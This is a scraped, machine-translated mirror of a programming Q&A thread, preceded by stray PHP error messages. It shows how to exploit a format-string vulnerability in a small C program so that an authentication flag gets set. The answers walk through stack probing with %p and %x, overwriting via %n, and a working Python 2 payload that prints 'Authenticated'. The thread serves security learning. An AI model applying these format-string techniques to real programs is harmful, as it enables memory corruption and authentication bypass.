Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/c/60.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C 如何利用此字符串格式漏洞_C_Security_String Formatting - Fatal编程技术网

C 如何利用此字符串格式漏洞

C 如何利用此字符串格式漏洞,c,security,string-formatting,C,Security,String Formatting,我有一段我一直在玩的代码 #include <stdio.h> #include <string.h> void authenticated(void) { printf("Authenticated\n"); fflush(stdout); } void authenticate() { char buf[200]; char auth = 0; printf("%p\n", &auth); fflush(s

我有一段我一直在玩的代码

#include <stdio.h>
#include <string.h>

void authenticated(void) {
    printf("Authenticated\n");
    fflush(stdout);
}

void authenticate() {
    char buf[200];
    char auth = 0;

    printf("%p\n", &auth);
    fflush(stdout);

    fgets(buf, 200, stdin);

    printf(buf);
    fflush(stdout);

    if (auth) {
        authenticated();
    }
}

int main(void) {
    authenticate();
    return 0;
}
我按照这个指南写任意地址

通过使用此输入

AAAA%6$p
我得到
aaaa0x4141
作为输出。现在使用打印的
auth
地址作为输入

\xff\xff\xff\xff%x%x%x%x%x%x%n

在常规流程中,printf使用fmt确定参数的类型,并将它们复制到其输出。除非您对输出或输出控制结构的位置有所了解,否则尝试将随机堆栈字符串或其他类似内容塞入其中不会有太多运气

如果生成一个SEGV就足够利用了,那么您已经有了答案;但是,有一个格式选项%n指向另一个方向。%nn通过参数列表中的指针写出到目前为止已写入的字符数。如果我们能在堆栈上找到一个指向&auth的错误指针,我们就可以生成一个格式字符串,通过这个字符串

首先,堆栈是什么样子的?运行程序,然后输入:

%p%p%p%p%p%p%p

看看得出的值。您只需要比&auth低一个,小于int的大小。更大的值没有帮助。如果可以找到一个,则可以设置一个编号为%p的字符串以移动到该指针,然后设置一个%n以覆盖该指针。如果没有找到,可以从“%64p”开始,在堆栈帧中进一步探测,它移动到arg#64(基数1),然后从那里继续

如果您的超写未命中(假设您的地址偏离了一个字节),您可以用一个%256.256d替换其中一个%p,以增加您的#写入


遗憾的是,在我的机器和编译器(macos,clang)上,我找不到一个值;我试图通过改变环境变量等来归纳一些,但没有效果。

出现分段错误的原因很可能是因为您试图写入错误的地址(否则为什么)。现在,在试验您的程序时,我发现了三个主要原因:

  • 使用错误的编号
    %x
    s点击错误的位置
  • 由于格式错误,请访问错误的地址
  • 正确理解上述内容,但首先要尝试使用错误的地址
我很肯定你的第一点是对的:

$ ./a.out

0xffc649e7
AAAA %x %x %x %x %x %x %x %x
AAAA c8 f7ef9540 5661521a 0 0 41414141 20782520 25207825
如我们所见,我需要5次
%x
才能到达正确的位置。我应该验证,每次连续运行程序时都会出现这种情况:

$ ./a.out

0xffaf5307
AAAA %x %x %x %x %x %x
AAAA c8 f7ed2540 565ad21a 0 0 41414141
同样,5次(可能是
-fno stack protector
执行其工作)。第六次出现的
%x
将需要替换为
%n
。如果您得到了错误的号码,您可能会遇到分段错误。

现在,我们需要确保覆盖的地址正确。从上面的示例中可以看出,每次运行程序时,
auth
的地址都是不同的。
要获得正确的地址,我们需要“响应”printf(“%p\n”,&auth)告诉我们的任何内容。我通过使用以下命令实现了这一点:

$ ./a.out < <(python)

0xffd51e77
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('AAAA ' + '%x ' * 6)
AAAA c8 f7f52540 565fe21a 0 0 41414141
我希望输入字符串开头的内容(十六进制)是
ffffffff
,而不是在该位置得到
bfc3bfc3
。如果我不得不猜测的话,我会说这与UTF-8(Python3的默认编码)有关。

为了避免这种行为,我改用了Python2,它似乎默认为ASCII

$ ./a.out < <(python2)

0xfff28977
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xff\xff\xff\xff ' + '%x ' * 6
>>>  c8 f7f69540 565e521a 0 0 ffffffff

现在我们进入了。

附加一个调试器并检查分段错误的原因。如果您要尝试利用漏洞,最好确保您拥有这些技能。在我看来,您可能希望将返回地址设置为已验证的
的返回地址。我不认为
AAAA%6$p
会这样做。您想做什么?我想将
auth
变量设置为大于0,因为下面的检查将通过
$ ./a.out < <(python)

0xffd1cbb7
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('\xff\xff\xff\xff ' + '%x ' * 6)
>>> ÿÿÿÿ c8 f7f96540 565a021a 0 0 bfc3bfc3
$ ./a.out < <(python2)

0xfff28977
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xff\xff\xff\xff ' + '%x ' * 6
>>>  c8 f7f69540 565e521a 0 0 ffffffff
$ ./a.out < <(python2)

0xffb758b7
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xb7\x58\xb7\xff ' + '%x ' * 5 + '%n'
>>> X c8 f7efb540 5659d21a 0 0
Authenticated